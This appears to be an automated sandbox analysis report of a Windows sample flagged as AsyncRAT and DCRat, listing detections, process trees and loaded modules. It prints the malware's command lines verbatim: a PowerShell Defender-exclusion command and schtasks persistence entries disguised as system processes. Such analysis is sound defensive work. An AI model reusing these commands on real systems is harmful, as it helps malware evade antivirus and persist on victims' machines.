Windows Analysis Report
cougif6lqM.exe

Malicious sample detected (through community Yara rule)

System Summary

Source: 2.0.javaclient.exe.ec0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000002.00000000.1327658991.0000000000EC2000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Source: C:\Users\user\AppData\Local\Temp\javaclient.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 3_2_00F0718C: __EH_prolog,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

3_2_00F0718C

Source: C:\Users\user\Desktop\cougif6lqM.exe	Code function: 0_2_00007FF886EE0A21	0_2_00007FF886EE0A21
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Code function: 2_2_00007FF886ED7936	2_2_00007FF886ED7936
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Code function: 2_2_00007FF886ED86E2	2_2_00007FF886ED86E2
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Code function: 2_2_00007FF886ED1689	2_2_00007FF886ED1689
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Code function: 2_2_00007FF886ED1FC5	2_2_00007FF886ED1FC5
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F0857B	3_2_00F0857B
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F170BF	3_2_00F170BF
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F0407E	3_2_00F0407E
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F2D00E	3_2_00F2D00E
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F31194	3_2_00F31194
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F202F6	3_2_00F202F6
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F0E2A0	3_2_00F0E2A0
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F03281	3_2_00F03281
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F16646	3_2_00F16646
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F027E8	3_2_00F027E8
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F137C1	3_2_00F137C1
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F2473A	3_2_00F2473A
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F2070E	3_2_00F2070E
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F0E8A0	3_2_00F0E8A0
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F0F968	3_2_00F0F968
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F24969	3_2_00F24969
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F16A7B	3_2_00F16A7B
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F13A3C	3_2_00F13A3C
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F2CB60	3_2_00F2CB60
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F20B43	3_2_00F20B43
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F15C77	3_2_00F15C77
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F1FDFA	3_2_00F1FDFA
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F13D6D	3_2_00F13D6D
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F0ED14	3_2_00F0ED14
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F0DE6C	3_2_00F0DE6C
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F0BE13	3_2_00F0BE13
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F20F78	3_2_00F20F78
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F05F3C	3_2_00F05F3C
Source: C:\Componenthost\providerreviewdhcp.exe	Code function: 7_2_00007FF886EA3545	7_2_00007FF886EA3545
Source: C:\Users\user\cmd.exe	Code function: 29_2_00007FF886EB3545	29_2_00007FF886EB3545
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Code function: 38_2_00007FF886ED3545	38_2_00007FF886ED3545
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Code function: 40_2_00007FF886ED3545	40_2_00007FF886ED3545
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Code function: 40_2_00007FF886EE1597	40_2_00007FF886EE1597
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Code function: 41_2_00007FF886EB3545	41_2_00007FF886EB3545
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Code function: 41_2_00007FF886EC1597	41_2_00007FF886EC1597
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Code function: 42_2_00007FF886EE1597	42_2_00007FF886EE1597
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Code function: 42_2_00007FF886ED3545	42_2_00007FF886ED3545

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: String function: 00F1E28C appears 35 times
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: String function: 00F1E360 appears 52 times
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: String function: 00F1ED00 appears 31 times

Source: providerreviewdhcp.exe.3.dr

Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: cougif6lqM.exe, 00000000.00000002.1362339384.0000000003161000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamejavaclient.exe4 vs cougif6lqM.exe
Source: cougif6lqM.exe, 00000000.00000002.1362339384.0000000003161000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs cougif6lqM.exe
Source: cougif6lqM.exe	Binary or memory string: OriginalFilenameJavaClientBeta.exe4 vs cougif6lqM.exe

Source: cougif6lqM.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2.0.javaclient.exe.ec0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000002.00000000.1327658991.0000000000EC2000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: cougif6lqM.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: cougif6lqM.exe	Static PE information: Section: .rsrc ZLIB complexity 0.9925503756830601
Source: javaclient.exe.0.dr	Static PE information: Section: .rsrc ZLIB complexity 0.9923369193989071

Source: javaclient.exe.0.dr, StlEUbFdJZHX9iqp9y0vGOLHru7O9CqwhAtkNxmmtIzacgnk1V1a8HJAfPU1Th8PIJHJOg.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: javaclient.exe.0.dr, mRMv10HbZpwLFNjCwmoHBKxrw0NcMSjvzittQ7G5wQNBNo8SaleZ11W6JDVJ762DAuQ5l0.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: javaclient.exe.0.dr, mRMv10HbZpwLFNjCwmoHBKxrw0NcMSjvzittQ7G5wQNBNo8SaleZ11W6JDVJ762DAuQ5l0.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, PVStjT4hn5scdS4lfYS.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, PVStjT4hn5scdS4lfYS.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, uPfSZV53W3JdoE5DHk8.cs	Cryptographic APIs: 'TransformBlock'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, uPfSZV53W3JdoE5DHk8.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, PVStjT4hn5scdS4lfYS.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, PVStjT4hn5scdS4lfYS.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, uPfSZV53W3JdoE5DHk8.cs	Cryptographic APIs: 'TransformBlock'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, uPfSZV53W3JdoE5DHk8.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, wxlCxPkYywwxbY5Yf0k.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, wxlCxPkYywwxbY5Yf0k.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, wxlCxPkYywwxbY5Yf0k.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, wxlCxPkYywwxbY5Yf0k.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: javaclient.exe.0.dr, ZPc799oFDlHD7nzPTpU9mHApETofsGEBQ5rjH5.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: javaclient.exe.0.dr, ZPc799oFDlHD7nzPTpU9mHApETofsGEBQ5rjH5.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.evad.winEXE@45/32@2/1

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 3_2_00F06EC9 GetLastError,FormatMessageW,

3_2_00F06EC9

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 3_2_00F19E1C FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

3_2_00F19E1C

Source: C:\Componenthost\providerreviewdhcp.exe

File created: C:\Program Files (x86)\windows defender\en-GB\Memory Compression.exe

Source: C:\Users\user\Desktop\cougif6lqM.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\cougif6lqM.exe.log

Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8088:120:WilError_03
Source: C:\Users\user\Desktop\cougif6lqM.exe	Mutant created: \Sessions\1\BaseNamedObjects\sOYAmJHoa0nevRYo5
Source: C:\Componenthost\providerreviewdhcp.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\116774478796360b622de653c1d04ef9f7d2f9c3
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7516:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Mutant created: \Sessions\1\BaseNamedObjects\MdauxdZIJGVjqlHW
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6236:120:WilError_03

Source: C:\Users\user\Desktop\cougif6lqM.exe

File created: C:\Users\user\AppData\Local\Temp\javaclient.exe

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Componenthost\N1me8mpFe7zJQMouCBhkn06ZkahUl.bat" "

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Command line argument: sfxname	3_2_00F1D5D4
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Command line argument: sfxstime	3_2_00F1D5D4
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Command line argument: STARTDLG	3_2_00F1D5D4

Source: cougif6lqM.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: cougif6lqM.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Componenthost\providerreviewdhcp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Users\user\Desktop\cougif6lqM.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\cougif6lqM.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: cougif6lqM.exe	ReversingLabs: Detection: 78%
Source: cougif6lqM.exe	Virustotal: Detection: 59%

Source: unknown	Process created: C:\Users\user\Desktop\cougif6lqM.exe "C:\Users\user\Desktop\cougif6lqM.exe"
Source: C:\Users\user\Desktop\cougif6lqM.exe	Process created: C:\Users\user\AppData\Local\Temp\javaclient.exe "C:\Users\user\AppData\Local\Temp\javaclient.exe"
Source: C:\Users\user\Desktop\cougif6lqM.exe	Process created: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe "C:\Users\user\AppData\Local\Temp\DCRatBuild.exe"
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Componenthost\aZjsojBpBtPKe.vbe"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Componenthost\N1me8mpFe7zJQMouCBhkn06ZkahUl.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Componenthost\providerreviewdhcp.exe "C:\Componenthost\providerreviewdhcp.exe"
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "hvxmowIikyCfRrhhAMpWFavmEnuKtLh" /sc MINUTE /mo 11 /tr "'C:\Componenthost\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe'" /rl HIGHEST /f
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "Memory CompressionM" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\windows defender\en-GB\Memory Compression.exe'" /f
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "Memory Compression" /sc ONLOGON /tr "'C:\Program Files (x86)\windows defender\en-GB\Memory Compression.exe'" /rl HIGHEST /f
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\javaclient.exe'
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "Memory CompressionM" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\windows defender\en-GB\Memory Compression.exe'" /rl HIGHEST /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Mail\WmiPrvSE.exe'" /f
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Program Files\Windows Mail\WmiPrvSE.exe'" /rl HIGHEST /f
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Mail\WmiPrvSE.exe'" /rl HIGHEST /f
Source: unknown	Process created: C:\Users\user\cmd.exe C:\Users\user\cmd.exe
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "hvxmowIikyCfRrhhAMpWFavmEnuKtLh" /sc MINUTE /mo 8 /tr "'C:\Users\Default\PrintHood\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe'" /f
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "hvxmowIikyCfRrhhAMpWFavmEnuKtL" /sc ONLOGON /tr "'C:\Users\Default\PrintHood\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe'" /rl HIGHEST /f
Source: unknown	Process created: C:\Users\user\cmd.exe C:\Users\user\cmd.exe
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "hvxmowIikyCfRrhhAMpWFavmEnuKtLh" /sc MINUTE /mo 8 /tr "'C:\Users\Default\PrintHood\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe'" /rl HIGHEST /f
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\csrss.exe'" /f
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\csrss.exe'" /rl HIGHEST /f
Source: unknown	Process created: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe C:\Users\Default\PrintHood\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\csrss.exe'" /rl HIGHEST /f
Source: unknown	Process created: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe C:\Users\Default\PrintHood\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe
Source: unknown	Process created: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe "C:\Program Files (x86)\windows defender\en-GB\Memory Compression.exe"
Source: unknown	Process created: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe "C:\Program Files (x86)\windows defender\en-GB\Memory Compression.exe"
Source: C:\Componenthost\providerreviewdhcp.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\8o9UezPTg6.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\cougif6lqM.exe	Process created: C:\Users\user\AppData\Local\Temp\javaclient.exe "C:\Users\user\AppData\Local\Temp\javaclient.exe"	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Process created: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe "C:\Users\user\AppData\Local\Temp\DCRatBuild.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\javaclient.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "hvxmowIikyCfRrhhAMpWFavmEnuKtLh" /sc MINUTE /mo 11 /tr "'C:\Componenthost\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe'" /rl HIGHEST /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Componenthost\aZjsojBpBtPKe.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Componenthost\N1me8mpFe7zJQMouCBhkn06ZkahUl.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Componenthost\providerreviewdhcp.exe "C:\Componenthost\providerreviewdhcp.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\8o9UezPTg6.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: kernel.appcore.dll	Jump to behavior
